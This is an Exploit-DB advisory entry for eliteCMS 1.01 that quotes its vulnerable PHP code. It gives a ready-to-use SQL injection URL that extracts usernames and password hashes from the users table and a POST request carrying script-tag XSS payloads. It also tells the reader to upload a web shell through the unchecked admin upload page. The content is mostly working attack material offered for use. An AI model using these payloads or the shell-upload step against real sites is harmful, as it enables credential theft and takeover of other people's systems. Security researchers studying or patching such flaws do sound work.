Exploit elitecms 1.01 - SQL Injection / Cross-Site Scripting

[Exploiter]

EDB-ID

8838

Проверка EDB

1. Пройдено

Автор

XENO_HIVE

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2009-06-01

# eliteCMS 1.01 (SQL/XSS) Multiple Remote Vulns
# by xeno_hive
# greets to daganarus, dearest of all my friends.

# SQL injection (requires magic_quotes = off)

->/includes/functions.php
---------------------------------
89. function get_page_settings() {
...
92. $query = "SELECT * FROM pages WHERE id = '{$_GET['page']}'";
93. $result = mysql_query($query);
94. confirm_query($result);
95. $page_settings = mysql_fetch_array($result); 
96. return $page_settings; }
...
294. echo $page_settings['title'];
---------------------------------

Exploit => index.php?page=-1'+union+select+1,concat(user_name,0x3a,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+0,1/*
then look at browser's title.


# XSS (passive)
(if contact form is enabled)

->/includes/contact_form.php
---------------------------------
36. $mailTo = $settings['site_email'];
37. $subject = "Feedback email from your eliteCMS website";
38. $name = $_POST['name'];
39. $sender_email = $_POST['sender_email'];
40. $message = $_POST['message'];
...
54. $sendmail =  @mail($mailTo, $subject, $body, $headers);
---------------------------------

So attacker can send mail with http tags.
---------------------------------
61. $successMSG = "<span class=\"successMsg\">Thank you dear <span>$name</span> your message has been send
      successfully.</span>";
---------------------------------

And he can insert tags into the page.

Exploit => POST-packet
---------------------------------
POST /index.php?page=3 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: localhost

name=<script>alert("Name")</script>
&[email protected]
&message=<script>alert("Message")</script>
&email=Send Email
---------------------------------

# Admin's file upload script without extension checking
Upload your shell at /admin/manage_uploads.php. Then use it at /uploads/shell.php

# milw0rm.com [2009-06-01]